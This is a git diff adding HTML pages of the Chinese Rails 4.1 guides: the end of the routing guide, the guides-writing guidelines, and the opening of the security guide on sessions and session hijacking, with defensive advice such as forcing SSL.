+resources :articles, concerns: [:commentable, :image_attachable]
+
+
+
+

上述声明等价于:

+
+resources :messages do
+  resources :comments
+end
+
+resources :articles do
+  resources :comments
+  resources :images, only: :index
+end
+
+
+
+

Concerns 在路由的任何地方都能使用,例如,在作用域或命名空间中:

+
+namespace :articles do
+  concerns :commentable
+end
+
+
+
+

2.9 由对象创建路径和 URL

除了使用路由帮助方法之外,Rails 还能从参数数组中创建路径和 URL。例如,假设有如下路由:

+
+resources :magazines do
+  resources :ads
+end
+
+
+
+

使用 magazine_ad_path 时,可以不传入数字 ID,传入 MagazineAd 实例即可:

+
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+
+
+
+

而且还可使用 url_for 方法,指定一组对象,Rails 会自动决定使用哪个路由:

+
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+
+
+
+

此时,Rails 知道 @magazineMagazine 的实例,@adAd 的实例,所以会调用 magazine_ad_path 帮助方法。使用 link_to 等方法时,无需使用完整的 url_for 方法,直接指定对象即可:

+
+<%= link_to 'Ad details', [@magazine, @ad] %>
+
+
+
+

如果想链接到一本杂志,可以这么做:

+
+<%= link_to 'Magazine details', @magazine %>
+
+
+
+

要想链接到其他动作,把数组的第一个元素设为所需动作名即可:

+
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+
+
+
+

在这种用法中,会把模型实例转换成对应的 URL,这是资源式路由带来的主要好处之一。

2.10 添加更多的 REST 架构动作

可用的路由并不局限于 REST 路由默认创建的那七个,还可以添加额外的集合路由或成员路由。

2.10.1 添加成员路由

要添加成员路由,在 resource 代码块中使用 member 块即可:

+
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+
+
+
+

这段路由能识别 /photos/1/preview 是个 GET 请求,映射到 PhotosControllerpreview 动作上,资源的 ID 传入 params[:id]。同时还生成了 preview_photo_urlpreview_photo_path 两个帮助方法。

member 代码块中,每个路由都要指定使用的 HTTP 方法。可以使用 getpatchputpostdelete。如果成员路由不多,可以不使用代码块形式,直接在路由上使用 :on 选项:

+
+resources :photos do
+  get 'preview', on: :member
+end
+
+
+
+

也可以不使用 :on 选项,得到的成员路由是相同的,但资源 ID 存储在 params[:photo_id] 而不是 params[:id] 中。

2.10.2 添加集合路由

添加集合路由的方式如下:

+
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+
+
+
+

这段路由能识别 /photos/search 是个 GET 请求,映射到 PhotosControllersearch 动作上。同时还会生成 search_photos_urlsearch_photos_path 两个帮助方法。

和成员路由一样,也可使用 :on 选项:

+
+resources :photos do
+  get 'search', on: :collection
+end
+
+
+
+
2.10.3 添加额外新建动作的路由

要添加额外的新建动作,可以使用 :on 选项:

+
+resources :comments do
+  get 'preview', on: :new
+end
+
+
+
+

这段代码能识别 /comments/new/preview 是个 GET 请求,映射到 CommentsControllerpreview 动作上。同时还会生成 preview_new_comment_urlpreview_new_comment_path 两个路由帮助方法。

如果在资源式路由中添加了过多额外动作,这时就要停下来问自己,是不是要新建一个资源。

3 非资源式路由

除了资源路由之外,Rails 还提供了强大功能,把任意 URL 映射到动作上。此时,不会得到资源式路由自动生成的一系列路由,而是分别声明各个路由。

虽然一般情况下要使用资源式路由,但也有一些情况使用简单的路由更合适。如果不合适,也不用非得使用资源实现程序的每种功能。

简单的路由特别适合把传统的 URL 映射到 Rails 动作上。

3.1 绑定参数

声明常规路由时,可以提供一系列 Symbol,做为 HTTP 请求的一部分,传入 Rails 程序。其中两个 Symbol 有特殊作用::controller 映射程序的控制器名,:action 映射控制器中的动作名。例如,有下面的路由:

+
+get ':controller(/:action(/:id))'
+
+
+
+

如果 /photos/show/1 由这个路由处理(没匹配路由文件中其他路由声明),会映射到 PhotosControllershow 动作上,最后一个参数 "1" 可通过 params[:id] 获取。上述路由还能处理 /photos 请求,映射到 PhotosController#index,因为 :action:id 放在括号中,是可选参数。

3.2 动态路径片段

在常规路由中可以使用任意数量的动态片段。:controller:action 之外的参数都会存入 params 传给动作。如果有下面的路由:

+
+get ':controller/:action/:id/:user_id'
+
+
+
+

/photos/show/1/2 请求会映射到 PhotosControllershow 动作。params[:id] 的值是 "1"params[:user_id] 的值是 "2"

匹配控制器时不能使用 :namespace:module。如果需要这种功能,可以为控制器做个约束,匹配所需的命名空间。例如: +I> +I> +I>ruby +NOTE: get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/ +NOTE:

默认情况下,动态路径片段中不能使用点号,因为点号是格式化路由的分隔符。如果需要在动态路径片段中使用点号,可以添加一个约束条件。例如,id: /[^\/]+/ 可以接受除斜线之外的所有字符。

3.3 静态路径片段

声明路由时可以指定静态路径片段,片段前不加冒号即可:

+
+get ':controller/:action/:id/with_user/:user_id'
+
+
+
+

这个路由能响应 /photos/show/1/with_user/2 这种路径。此时,params 的值为 { controller: 'photos', action: 'show', id: '1', user_id: '2' }

3.4 查询字符串

params 中还包含查询字符串中的所有参数。例如,有下面的路由:

+
+get ':controller/:action/:id'
+
+
+
+

/photos/show/1?user_id=2 请求会映射到 Photos 控制器的 show 动作上。params 的值为 { controller: 'photos', action: 'show', id: '1', user_id: '2' }

3.5 定义默认值

在路由中无需特别使用 :controller:action,可以指定默认值:

+
+get 'photos/:id', to: 'photos#show'
+
+
+
+

这样声明路由后,Rails 会把 /photos/12 映射到 PhotosControllershow 动作上。

路由中的其他部分也使用 :defaults 选项设置默认值。甚至可以为没有指定的动态路径片段设定默认值。例如:

+
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+
+
+
+

Rails 会把 photos/12 请求映射到 PhotosControllershow 动作上,把 params[:format] 的值设为 "jpg"

3.6 命名路由

使用 :as 选项可以为路由起个名字:

+
+get 'exit', to: 'sessions#destroy', as: :logout
+
+
+
+

这段路由会生成 logout_pathlogout_url 这两个具名路由帮助方法。调用 logout_path 方法会返回 /exit

使用 :as 选项还能重设资源的路径方法,例如:

+
+get ':username', to: 'users#show', as: :user
+
+
+
+

这段路由会定义一个名为 user_path 的方法,可在控制器、帮助方法和视图中使用。在 UsersControllershow 动作中,params[:username] 的值即用户的用户名。如果不想使用 :username 作为参数名,可在路由声明中修改。

3.7 HTTP 方法约束

一般情况下,应该使用 getpostputpatchdelete 方法限制路由可使用的 HTTP 方法。如果使用 match 方法,可以通过 :via 选项一次指定多个 HTTP 方法:

+
+match 'photos', to: 'photos#show', via: [:get, :post]
+
+
+
+

如果某个路由想使用所有 HTTP 方法,可以使用 via: :all

+
+match 'photos', to: 'photos#show', via: :all
+
+
+
+

同个路由即处理 GET 请求又处理 POST 请求有安全隐患。一般情况下,除非有特殊原因,切记不要允许在一个动作上使用所有 HTTP 方法。

3.8 路径片段约束

可使用 :constraints 选项限制动态路径片段的格式:

+
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+
+
+
+

这个路由能匹配 /photos/A12345,但不能匹配 /photos/893。上述路由还可简化成:

+
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+
+
+
+

:constraints 选项中的正则表达式不能使用“锚记”。例如,下面的路由是错误的:

+
+get '/:id', to: 'photos#show', constraints: {id: /^\d/}
+
+
+
+

之所以不能使用锚记,是因为所有正则表达式都从头开始匹配。

例如,有下面的路由。如果 to_param 方法得到的值以数字开头,例如 1-hello-world,就会把请求交给 articles 控制器处理;如果 to_param 方法得到的值不以数字开头,例如 david,就交给 users 控制器处理。

+
+get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+
+
+
+

3.9 基于请求的约束

约束还可以根据任何一个返回值为字符串的 Request 方法设定。

基于请求的约束和路径片段约束的设定方式一样:

+
+get 'photos', constraints: {subdomain: 'admin'}
+
+
+
+

约束还可使用代码块形式:

+
+namespace :admin do
+  constraints subdomain: 'admin' do
+    resources :photos
+  end
+end
+
+
+
+

3.10 高级约束

如果约束很复杂,可以指定一个能响应 matches? 方法的对象。假设要用 BlacklistConstraint 过滤所有用户,可以这么做:

+
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+TwitterClone::Application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: BlacklistConstraint.new
+end
+
+
+
+

约束还可以在 lambda 中指定:

+
+TwitterClone::Application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+
+
+
+

matches? 方法和 lambda 的参数都是 request 对象。

3.11 通配片段

路由中的通配符可以匹配其后的所有路径片段。例如:

+
+get 'photos/*other', to: 'photos#unknown'
+
+
+
+

这个路由可以匹配 photos/12/photos/long/path/to/12params[:other] 的值为 "12""long/path/to/12"。以星号开头的路径片段叫做“通配片段”。

通配片段可以出现在路由的任何位置。例如:

+
+get 'books/*section/:title', to: 'books#show'
+
+
+
+

这个路由可以匹配 books/some/section/last-words-a-memoirparams[:section] 的值为 'some/section'params[:title] 的值为 'last-words-a-memoir'

严格来说,路由中可以有多个通配片段。匹配器会根据直觉赋值各片段。例如:

+
+get '*a/foo/*b', to: 'test#index'
+
+
+
+

这个路由可以匹配 zoo/woo/foo/bar/bazparams[:a] 的值为 'zoo/woo'params[:b] 的值为 'bar/baz'

如果请求 '/foo/bar.json',那么 params[:pages] 的值为 'foo/bar',请求类型为 JSON。如果想使用 Rails 3.0.x 中的表现,可以指定 format: false 选项,如下所示: +I> +I> +I>ruby +NOTE: get '*pages', to: 'pages#show', format: false +NOTE: +I> +NOTE: 如果必须指定格式,可以指定 format: true 选项,如下所示: +I> +I> +I>ruby +NOTE: get '*pages', to: 'pages#show', format: true +NOTE:

3.12 重定向

在路由中可以使用 redirect 帮助方法把一个路径重定向到另一个路径:

+
+get '/stories', to: redirect('/articles')
+
+
+
+

重定向时还可使用匹配的动态路径片段:

+
+get '/stories/:name', to: redirect('/articles/%{name}')
+
+
+
+

redirect 还可使用代码块形式,传入路径参数和 request 对象作为参数:

+
+get '/stories/:name', to: redirect {|path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect {|path_params, req| "/articles/#{req.subdomain}" }
+
+
+
+

注意,redirect 实现的是 301 "Moved Permanently" 重定向,有些浏览器或代理服务器会缓存这种重定向,导致旧的页面不可用。

如果不指定主机(http://www.example.com),Rails 会从当前请求中获取。

3.13 映射到 Rack 程序

除了使用字符串,例如 'articles#index',把请求映射到 ArticlesControllerindex 动作上之外,还可使用 Rack 程序作为端点:

+
+match '/application.js', to: Sprockets, via: :all
+
+
+
+

只要 Sprockets 能响应 call 方法,而且返回 [status, headers, body] 形式的结果,路由器就不知道这是个 Rack 程序还是动作。这里使用 via: :all 是正确的,因为我们想让 Rack 程序自行判断,处理所有 HTTP 方法。

其实 'articles#index' 的复杂形式是 ArticlesController.action(:index),得到的也是个合法的 Rack 程序。

3.14 使用 root +

使用 root 方法可以指定怎么处理 '/' 请求:

+
+root to: 'pages#main'
+root 'pages#main' # shortcut for the above
+
+
+
+

root 路由应该放在文件的顶部,因为这是最常用的路由,应该先匹配。

root 路由只处理映射到动作上的 GET 请求。

在命名空间和作用域中也可使用 root。例如:

+
+namespace :admin do
+  root to: "admin#index"
+end
+
+root to: "home#index"
+
+
+
+

3.15 Unicode 字符路由

路由中可直接使用 Unicode 字符。例如:

+
+get 'こんにちは', to: 'welcome#index'
+
+
+
+

4 定制资源式路由

虽然 resources :articles 默认生成的路由和帮助方法都满足大多数需求,但有时还是想做些定制。Rails 允许对资源式帮助方法做几乎任何形式的定制。

4.1 指定使用的控制器

:controller 选项用来指定资源使用的控制器。例如:

+
+resources :photos, controller: 'images'
+
+
+
+

能识别以 /photos 开头的请求,但交给 Images 控制器处理:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/photosimages#indexphotos_path
GET/photos/newimages#newnew_photo_path
POST/photosimages#createphotos_path
GET/photos/:idimages#showphoto_path(:id)
GET/photos/:id/editimages#editedit_photo_path(:id)
PATCH/PUT/photos/:idimages#updatephoto_path(:id)
DELETE/photos/:idimages#destroyphoto_path(:id)
+

要使用 photos_pathnew_photo_path 等生成该资源的路径。

命名空间中的控制器可通过目录形式指定。例如:

+
+resources :user_permissions, controller: 'admin/user_permissions'
+
+
+
+

这个路由会交给 Admin::UserPermissions 控制器处理。

只支持目录形式。如果使用 Ruby 常量形式,例如 controller: 'Admin::UserPermissions',会导致路由报错。

4.2 指定约束

可以使用 :constraints选项指定 id 必须满足的格式。例如:

+
+resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/}
+
+
+
+

这个路由声明限制参数 :id 必须匹配指定的正则表达式。因此,这个路由能匹配 /photos/RR27,不能匹配 /photos/1

使用代码块形式可以把约束应用到多个路由上:

+
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+
+
+
+

当然了,在资源式路由中也能使用非资源式路由中的高级约束。

默认情况下,在 :id 参数中不能使用点号,因为点号是格式化路由的分隔符。如果需要在 :id 中使用点号,可以添加一个约束条件。例如,id: /[^\/]+/ 可以接受除斜线之外的所有字符。

4.3 改写具名帮助方法

:as 选项可以改写常规的具名路由帮助方法。例如:

+
+resources :photos, as: 'images'
+
+
+
+

能识别以 /photos 开头的请求,交给 PhotosController 处理,但使用 :as 选项的值命名帮助方法:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/photosphotos#indeximages_path
GET/photos/newphotos#newnew_image_path
POST/photosphotos#createimages_path
GET/photos/:idphotos#showimage_path(:id)
GET/photos/:id/editphotos#editedit_image_path(:id)
PATCH/PUT/photos/:idphotos#updateimage_path(:id)
DELETE/photos/:idphotos#destroyimage_path(:id)
+

4.4 改写 newedit 片段

:path_names 选项可以改写路径中自动生成的 "new""edit" 片段:

+
+resources :photos, path_names: { new: 'make', edit: 'change' }
+
+
+
+

这样设置后,路由就能识别如下的路径:

+
+/photos/make
+/photos/1/change
+
+
+
+

这个选项并不能改变实际处理请求的动作名。上述两个路径还是交给 newedit 动作处理。

如果想按照这种方式修改所有路由,可以使用作用域。 +T> +T> +T>ruby +TIP: scope path_names: { new: 'make' } do +TIP: # rest of your routes +TIP: end +TIP:

4.5 为具名路由帮助方法加上前缀

使用 :as 选项可在 Rails 为路由生成的路由帮助方法前加上前缀。这个选项可以避免作用域内外产生命名冲突。例如:

+
+scope 'admin' do
+  resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+
+
+
+

这段路由会生成 admin_photos_pathnew_admin_photo_path 等帮助方法。

要想为多个路由添加前缀,可以在 scope 方法中设置 :as 选项:

+
+scope 'admin', as: 'admin' do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+
+
+
+

这段路由会生成 admin_photos_pathadmin_accounts_path 等帮助方法,分别映射到 /admin/photos/admin/accounts 上。

namespace 作用域会自动添加 :as 以及 :module:path 前缀。

路由帮助方法的前缀还可使用具名参数:

+
+scope ':username' do
+  resources :articles
+end
+
+
+
+

这段路由能识别 /bob/articles/1 这种请求,在控制器、帮助方法和视图中可使用 params[:username] 获取 username 的值。

4.6 限制生成的路由

默认情况下,Rails 会为每个 REST 路由生成七个默认动作(indexshownewcreateeditupdatedestroy)对应的路由。你可以使用 :only:except 选项调整这种行为。:only 选项告知 Rails,只生成指定的路由:

+
+resources :photos, only: [:index, :show]
+
+
+
+

此时,向 /photos 能发起 GET 请求,但不能发起 POST 请求(正常情况下由 create 动作处理)。

:except 选项指定不用生成的路由:

+
+resources :photos, except: :destroy
+
+
+
+

此时,Rails 会生成除 destroy(向 /photos/:id 发起的 DELETE 请求)之外的所有常规路由。

如果程序中有很多 REST 路由,使用 :only:except 指定只生成所需的路由,可以节省内存,加速路由处理过程。

4.7 翻译路径

使用 scope 时,可以改写资源生成的路径名:

+
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+  resources :categories, path: 'kategorien'
+end
+
+
+
+

Rails 为 CategoriesController 生成的路由如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名帮助方法
GET/kategoriencategories#indexcategories_path
GET/kategorien/neucategories#newnew_category_path
POST/kategoriencategories#createcategories_path
GET/kategorien/:idcategories#showcategory_path(:id)
GET/kategorien/:id/bearbeitencategories#editedit_category_path(:id)
PATCH/PUT/kategorien/:idcategories#updatecategory_path(:id)
DELETE/kategorien/:idcategories#destroycategory_path(:id)
+

4.8 改写单数形式

如果想定义资源的单数形式,需要在 Inflector 中添加额外的规则:

+
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+
+
+
+

4.9 在嵌套资源中使用 :as 选项

:as 选项可以改自动生成的嵌套路由帮助方法名。例如:

+
+resources :magazines do
+  resources :ads, as: 'periodical_ads'
+end
+
+
+
+

这段路由会生成 magazine_periodical_ads_urledit_magazine_periodical_ad_path 等帮助方法。

5 路由审查和测试

Rails 提供有路由审查和测试功能。

5.1 列出现有路由

要想查看程序完整的路由列表,可以在开发环境中使用浏览器打开 http://localhost:3000/rails/info/routes。也可以在终端执行 rake routes 任务查看,结果是一样的。

这两种方法都能列出所有路由,和在 routes.rb 中的定义顺序一致。你会看到每个路由的以下信息:

+
    +
  • 路由名(如果有的话)
  • +
  • 使用的 HTTP 方法(如果不响应所有方法)
  • +
  • 匹配的 URL 模式
  • +
  • 路由的参数
  • +
+

例如,下面是执行 rake routes 命令后看到的一个 REST 路由片段:

+
+    users GET    /users(.:format)          users#index
+          POST   /users(.:format)          users#create
+ new_user GET    /users/new(.:format)      users#new
+edit_user GET    /users/:id/edit(.:format) users#edit
+
+
+
+

可以使用环境变量 CONTROLLER 限制只显示映射到该控制器上的路由:

+
+$ CONTROLLER=users rake routes
+
+
+
+

拉宽终端窗口直至没断行,这时看到的 rake routes 输出更完整。

5.2 测试路由

和程序的其他部分一样,路由也要测试。Rails 内建了三个断言,可以简化测试:

+
    +
  • assert_generates
  • +
  • assert_recognizes
  • +
  • assert_routing
  • +
+
5.2.1 assert_generates 断言

assert_generates 检测提供的选项是否能生成默认路由或自定义路由。例如:

+
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+
+
+
+
5.2.2 assert_recognizes 断言

assert_recognizesassert_generates 的反测试,检测提供的路径是否能陪识别并交由特定的控制器处理。例如:

+
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+
+
+
+

可以使用 :method 参数指定使用的 HTTP 方法:

+
+assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })
+
+
+
+
5.2.3 assert_routing 断言

assert_routing 做双向测试:检测路径是否能生成选项,以及选项能否生成路径。因此,综合了 assert_generatesassert_recognizes 两个断言。

+
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/ruby_on_rails_guides_guidelines.html b/v4.1/ruby_on_rails_guides_guidelines.html new file mode 100644 index 0000000..eb04cf0 --- /dev/null +++ b/v4.1/ruby_on_rails_guides_guidelines.html @@ -0,0 +1,339 @@ + + + + + + + +Ruby on Rails Guides Guidelines — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Ruby on Rails Guides Guidelines

This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.

After reading this guide, you will know:

+
    +
  • About the conventions to be used in Rails documentation.
  • +
  • How to generate guides locally.
  • +
+ + + + +
+
+ +
+
+
+

1 Markdown

Guides are written in GitHub Flavored Markdown. There is comprehensive documentation for Markdown, a cheatsheet.

2 Prologue

Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the Routing Guide.

3 Titles

The title of every guide uses h1; guide sections use h2; subsections h3; etc. However, the generated HTML output will have the heading tag starting from <h2>.

+
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+
+
+
+

Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:

+
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+
+
+
+

Use the same typography as in regular text:

+
+##### The `:content_type` Option
+
+
+
+

4 API Documentation Guidelines

The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the API Documentation Guidelines:

+ +

Those guidelines apply also to guides.

5 HTML Guides

Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.

To install the latest version of Bundler, simply run the gem install bundler command

5.1 Generation

To generate all the guides, just cd into the guides directory, run bundle install and execute:

+
+bundle exec rake guides:generate
+
+
+
+

or

+
+bundle exec rake guides:generate:html
+
+
+
+

To process my_guide.md and nothing else use the ONLY environment variable:

+
+touch my_guide.md
+bundle exec rake guides:generate ONLY=my_guide
+
+
+
+

By default, guides that have not been modified are not processed, so ONLY is rarely needed in practice.

To force processing all the guides, pass ALL=1.

It is also recommended that you work with WARNINGS=1. This detects duplicate IDs and warns about broken internal links.

If you want to generate guides in a language other than English, you can keep them in a separate directory under source (eg. source/es) and use the GUIDES_LANGUAGE environment variable:

+
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+
+
+
+

If you want to see all the environment variables you can use to configure the generation script just run:

+
+rake
+
+
+
+

5.2 Validation

Please validate the generated HTML with:

+
+bundle exec rake guides:validate
+
+
+
+

Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set WARNINGS=1 when generating guides to detect them. The warning messages suggest a solution.

6 Kindle Guides

6.1 Generation

To generate guides for the Kindle, use the following rake task:

+
+bundle exec rake guides:generate:kindle
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/security.html b/v4.1/security.html new file mode 100644 index 0000000..ca51cae --- /dev/null +++ b/v4.1/security.html @@ -0,0 +1,930 @@ + + + + + + + +Rails 安全指南 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 安全指南

本文介绍网页程序中常见的安全隐患,以及如何在 Rails 中防范。

读完本文,你将学到:

+
    +
  • 所有推荐使用的安全对策;
  • +
  • Rails 中会话的概念,应该在会话中保存什么内容,以及常见的攻击方式;
  • +
  • 单单访问网站为什么也有安全隐患(跨站请求伪造);
  • +
  • 处理文件以及提供管理界面时应该注意哪些问题;
  • +
  • 如何管理用户:登录、退出,以及各种攻击方式;
  • +
  • 最常见的注入攻击方式;
  • +
+ + + + +
+
+ +
+
+
+

1 简介

网页程序框架的作用是帮助开发者构建网页程序。有些框架还能增强网页程序的安全性。其实框架之间无所谓谁更安全,只要使用得当,就能开发出安全的程序。Rails 提供了很多智能的帮助方法,例如避免 SQL 注入的方法,可以避免常见的安全隐患。我很欣慰,我所审查的 Rails 程序安全性都很高。

一般来说,安全措施不能随取随用。安全性取决于开发者怎么使用框架,有时也跟开发方式有关。而且,安全性受程序架构的影响:存储方式,服务器,以及框架本身等。

不过,根据加特纳咨询公司的研究,约有 75% 的攻击发生在网页程序层,“在 300 个审查的网站中,97% 有被攻击的可能”。网页程序相对而言更容易攻击,因为其工作方式易于理解,即使是外行人也能发起攻击。

网页程序面对的威胁包括:窃取账户,绕开访问限制,读取或修改敏感数据,显示欺诈内容。攻击者有可能还会安装木马程序或者来路不明的邮件发送程序,用于获取经济利益,或者修改公司资源,破坏企业形象。为了避免受到攻击,最大程度的降低被攻击后的影响,首先要完全理解各种攻击方式,这样才能有的放矢,找到最佳对策——这就是本文的目的。

为了能开发出安全的网页程序,你必须要了解所用组件的最新安全隐患,做到知己知彼。想了解最新的安全隐患,可以订阅安全相关的邮件列表,阅读关注安全的博客,养成更新和安全检查的习惯。详情参阅“其他资源”一节。我自己也会动手检查,这样才能找到可能引起安全问题的代码。

2 会话

会话是比较好的切入点,有一些特定的攻击方式。

2.1 会话是什么

HTTP 是无状态协议,会话让其变成有状态。

大多数程序都要记录用户的特定状态,例如购物车里的商品,或者当前登录用户的 ID。没有会话,每次请求都要识别甚至重新认证用户。Rails 会为访问网站的每个用户创建会话,如果同一个用户再次访问网站,Rails 会加载现有的会话。

会话一般会存储一个 Hash,以及会话 ID。ID 是由 32 个字符组成的字符串,用于识别 Hash。发送给浏览器的每个 cookie 中都包含会话 ID,而且浏览器发送到服务器的每个请求中也都包含会话 ID。在 Rails 程序中,可以使用 session 方法保存和读取会话:

+
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+
+
+
+

2.2 会话 ID

会话 ID 是 32 位字节长的 MD5 哈希值。

会话 ID 是一个随机生成的哈希值。这个随机生成的字符串中包含当前时间,0 和 1 之间的随机数字,Ruby 解释器的进程 ID(随机生成的数字),以及一个常量。目前,还无法暴力破解 Rails 的会话 ID。虽然 MD5 很难破解,但却有可能发生同值碰撞。理论上有可能创建完全一样的哈希值。不过,这没什么安全隐患。

2.3 会话劫持

窃取用户的会话 ID 后,攻击者就能以该用户的身份使用网页程序。

很多网页程序都有身份认证系统,用户提供用户名和密码,网页程序验证提供的信息,然后把用户的 ID 存储到会话 Hash 中。此后,这个会话都是有效的。每次请求时,程序都会从会话中读取用户 ID,加载对应的用户,避免重新认证用户身份。cookie 中的会话 ID 用于识别会话。

因此,cookie 是网页程序身份认证系统的中转站。得到 cookie,就能以该用户的身份访问网站,这会导致严重的后果。下面介绍几种劫持会话的方法以及对策。

+
    +
  • +

    在不加密的网络中嗅听 cookie。无线局域网就是一种不安全的网络。在不加密的无线局域网中,监听网内客户端发起的请求极其容易。这是不建议在咖啡店工作的原因之一。对网页程序开发者来说,可以使用 SSL 建立安全连接避免嗅听。在 Rails 3.1 及以上版本中,可以在程序的设置文件中设置强制使用 SSL 连接:

    +
    +
    +config.force_ssl = true
    +
    +
    +
    +
  • +
  • 大多数用户在公用终端中完工后不清除 cookie。如果前一个用户没有退出网页程序,你就能以该用户的身份继续访问网站。网页程序中一定要提供“退出”按钮,而且要放在特别显眼的位置。

  • +
  • 很多跨站脚本(cross-site scripting,简称 XSS)的目的就是窃取用户的 cookie。详情参阅“跨站脚本”一节。

  • +
  • 有时攻击者不会窃取用户的 cookie,而为用户指定一个会话 ID。这叫做“会话固定攻击”,后文会详细介绍。

  • +
+

大多数攻击者的动机是获利。赛门铁克全球互联网安全威胁报告指出,在地下市场,窃取银行账户的价格为 10-1000 美元(视账户余额而定),窃取信用卡卡号的价格为 0.40-20 美元,窃取在线拍卖网站账户的价格为 1-8 美元,窃取 Email 账户密码的价格为 4-30 美元。

2.4 会话安全指南

下面是一些常规的会话安全指南。

+
    +
  • 不在会话中存储大型对象。大型对象要存储在数据库中,会话中只保存对象的 ID。这么做可以避免同步问题,也不会用完会话存储空间(空间大小取决于所使用的存储方式,详情见后文)。如果在会话中存储大型对象,修改对象结构后,旧版数据仍在用户的 cookie 中。在服务器端存储会话可以轻而易举地清除旧会话数据,但在客户端中存储会话就无能为力了。

  • +
  • 敏感数据不能存储在会话中。如果用户清除 cookie,或者关闭浏览器,数据就没了。在客户端中存储会话数据,用户还能读取敏感数据。

  • +
+

2.5 会话存储

Rails 提供了多种存储会话的方式,其中最重要的一个是 ActionDispatch::Session::CookieStore

Rails 2 引入了一个新的默认会话存储方式,CookieStoreCookieStore 直接把会话存储在客户端的 cookie 中。服务器无需会话 ID,可以直接从 cookie 中获取会话。这种存储方式能显著提升程序的速度,但却存在争议,因为有潜在的安全隐患:

+
    +
  • cookie 中存储的内容长度不能超过 4KB。这个限制没什么影响,因为前面说过,会话中不应该存储大型数据。在会话中存储用户对象在数据库中的 ID 一般来说也是可接受的。

  • +
  • 客户端能看到会话中的所有数据,因为其中的内容都是明文(使用 Base64 编码,因此没有加密)。因此,不能存储敏感信息。为了避免篡改会话,Rails 会根据服务器端的密令生成摘要,添加到 cookie 的末尾。

  • +
+

因此,cookie 的安全性取决于这个密令(以及计算摘要的算法,为了兼容,默认使用 SHA1)。密令不能随意取值,例如从字典中找个单词,长度也不能少于 30 个字符。

secrets.secret_key_base 指定一个密令,程序的会话用其和已知的安全密令比对,避免会话被篡改。secrets.secret_key_base 是个随机字符串,保存在文件 config/secrets.yml 中:

+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+
+
+

